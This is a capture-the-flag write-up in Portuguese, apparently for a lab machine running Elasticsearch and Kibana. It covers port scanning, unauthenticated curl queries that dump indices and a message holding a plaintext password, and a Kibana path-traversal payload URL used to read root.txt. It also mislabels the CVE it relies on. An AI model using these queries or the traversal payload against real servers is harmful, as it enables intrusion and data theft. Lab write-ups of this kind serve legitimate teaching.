

Primeiro, vamos enumerar as portas e serviços que estão funcionando na máquina
`nmap -p 0-20000 -A --version-intensity 9 -T5 [ip_address]`

22 | ssh | openssh 7.4

111 | rpcbind

5601 | http | Elasticsearch Kibana (serverName: Kibana)

8000 | http | SimpleHTTPServer 0.6 + Python 3.4.7

9200 | http | Elasticsearch REST API 6.4.2

9300 | elasticsearch binary API

Visitando [ip_address]/5601

A aplicação kibana

Visitando [ip_address]/8000

kibana-log.txt

Visitando [ip_address]/9200

```
name: "sn6hfBl"
cluster_name: "elasticsearch"
cluster_uuid: "zAlVFkDaQLSBTQkLCqWJCQ"
▼ version:
  number: "6.4.2"
  build_flavor: "default"
  build_type: "rpm"
  build_hash: "04711c2"
  build_date: "2018-09-26T13:34:09.098244Z"
  build_snapshot: false
  lucene_version: "7.4.0"
  minimum_wire_compatibility_version: "5.6.0"
  minimum_index_compatibility_version: "5.0.0"
tagline: "You Know, for Search"
```

Mais sobre o Kibana

O Kibana é um plugin de visualização de dados de fonte aberta para o Elasticsearch. Ele fornece recursos de visualização em cima do conteúdo indexado em um cluster Elasticsearch. Os usuários podem criar gráficos de barra, linha e dispersão, ou gráficos e mapas de torta em cima de grandes volumes de dados

Mais sobre o Elasticsearch

O Elasticsearch é um mecanismo de busca e análise RESTful open source distribuído, armazenamento de dados escalável e banco de dados de vetores capaz de atender a um número crescente de casos de uso. Como elemento central do Elastic Stack, ele armazena seus dados centralmente para proporcionar busca rápida, relevância com ajuste fino e analítica poderosa que pode ser ampliada com facilidade.

Tentativa de verificação de autenticação

`curl http://[ip_address]:9200/`

```
$ curl http://10.10.37.67:9200/
{
  "name" : "sn6hfBl",
  "cluster_name" : "elasticsearch",
  "cluster_uuid" : "zAlVFkDaQLSBTQkLCqWJCQ",
  "version" : {
    "number" : "6.4.2",
    "build_flavor" : "default",
    "build_type" : "rpm",
    "build_hash" : "04711c2",
    "build_date" : "2018-09-26T13:34:09.098244Z",
    "build_snapshot" : false,
    "lucene_version" : "7.4.0",
    "minimum_wire_compatibility_version" : "5.6.0",
    "minimum_index_compatibility_version" : "5.0.0"
  },
  "tagline" : "You Know, for Search"
}
```

Sem autenticação confirmado

Tentando buscar os índices existentes com o comando curl

`curl -s http://[ip_address]:9200/_cat/indices?v`

health	status	index	uuid	pri	rep	docs.count	docs.deleted	store.size	pri.store.size
green	open	.kibana	LVBQAm6QT1m95LDwXSmUPA	1	0	1	0	4kb	4kb
yellow	open	messages	PrMUUsu_GTgiPVv3wNWixLw	5	1	200	0	43.3kb	43.3kb

Verificando o conteúdo de index messages através de curl

`curl -s "http://[ip_address]:9200/messages/_search?size=100&pretty"`

200 documentos de mensagens. Abaixo, estão listadas as mais relevantes

hey, can you access my dev account for me. My username is l33tperson and my password is 9Qs58Ol3AXkMWLxiEyUyyf
im so happy python2 is being deprecated

Temos usuário e senha

user: *l33tperson*

password: *9Qs58Ol3AXkMWLxiEyUyyf*

A senha pode ser um ID de usuário, token de sessão, ou código de autenticação logado por alguma aplicação. Como a única forma de login é via SSH e não temos a senha verdadeira, será deixado de lado.

Sabemos que o Kibana possui uma vulnerabilidade, a CVE-2019-7609

Buscando no google sobre, uma página do github (https://github.com/mpgn/CVE-2018-17246) possui um payload e instrução para uso

[http://\[ip_address\]:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../../../../../../../root.txt](http://[ip_address]:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../../../../../../../root.txt)

Após um infinito load da página, verificamos o conteúdo de [http://\[ip_address\]:8000](http://[ip_address]:8000) e buscamos por root.txt. Encontramos que não pode ser executado como .js, mas foi mostrado: someELKfun